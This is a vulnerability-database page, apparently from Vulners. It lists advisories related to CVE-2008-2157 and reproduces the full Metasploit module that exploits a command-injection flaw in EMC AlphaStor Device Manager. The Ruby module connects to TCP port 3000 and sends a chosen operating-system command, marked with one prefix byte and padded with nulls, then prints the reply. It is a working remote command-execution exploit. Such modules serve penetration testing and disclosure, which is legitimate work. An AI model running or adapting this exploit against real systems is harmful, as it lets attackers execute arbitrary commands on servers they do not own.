Lucene search
+L

EMC AlphaStor Device Manager Arbitrary Command Execution

🗓️ 01 Sep 2008 11:28:55Reported by MC <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 46 Views

EMC AlphaStor Device Manager Command Executio

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2008-2157
29 May 200816:32
attackerkb
nessus
Tenable Nessus
EMC AlphaStor Device Manager robotd RCE
1 Jul 200800:00
nessus
nessus
Tenable Nessus
EMC AlphaStor Library Manager Remote Code Execution
1 Jul 200800:00
nessus
circl
Circl
CVE-2008-2157
29 May 201815:50
circl
cve
CVE
CVE-2008-2157
29 May 200816:00
cve
cvelist
Cvelist
CVE-2008-2157
29 May 200816:00
cvelist
d2
d2
DSquare Exploit Pack: D2SEC_ALPHASTOR_LM
29 May 200816:32
d2
metasploit
Metasploit
EMC AlphaStor Library Manager Arbitrary Command Execution
11 Oct 200800:56
metasploit
nvd
NVD
CVE-2008-2157
29 May 200816:32
nvd
packetstorm
Packet Storm
EMC AlphaStor Library Manager Arbitrary Command Execution
31 Aug 202400:00
packetstorm
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'EMC AlphaStor Device Manager Arbitrary Command Execution',
      'Description'    => %q{
          EMC AlphaStor Device Manager is prone to a remote command-injection vulnerability
          because the application fails to properly sanitize user-supplied input.
      },
      'Author'         => [ 'MC' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=703' ],
          [ 'OSVDB', '45715' ],
          [ 'CVE', '2008-2157' ],
          [ 'BID', '29398' ],
        ],
      'DisclosureDate' => '2008-05-27'))

      register_options(
        [
          Opt::RPORT(3000),
          OptString.new('CMD', [ false, 'The OS command to execute', 'hostname']),
        ])
  end

  def run
    connect

    data = "\x75" + datastore['CMD']
    pad  = "\x00" * 512

    pkt = data + pad

    print_status("Sending command: #{datastore['CMD']}")
    sock.put(pkt)

    # try to suck it all in.
    select(nil,nil,nil,5)

    res = sock.get_once || ''

    res.each_line do |info|
      print_status("#{info.gsub(/[^[:print:]]+/,"")}") # hack.
    end

    disconnect
  rescue ::Rex::ConnectionError => e
    print_error 'Connection failed'
  rescue ::EOFError => e
    print_error 'No reply'
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation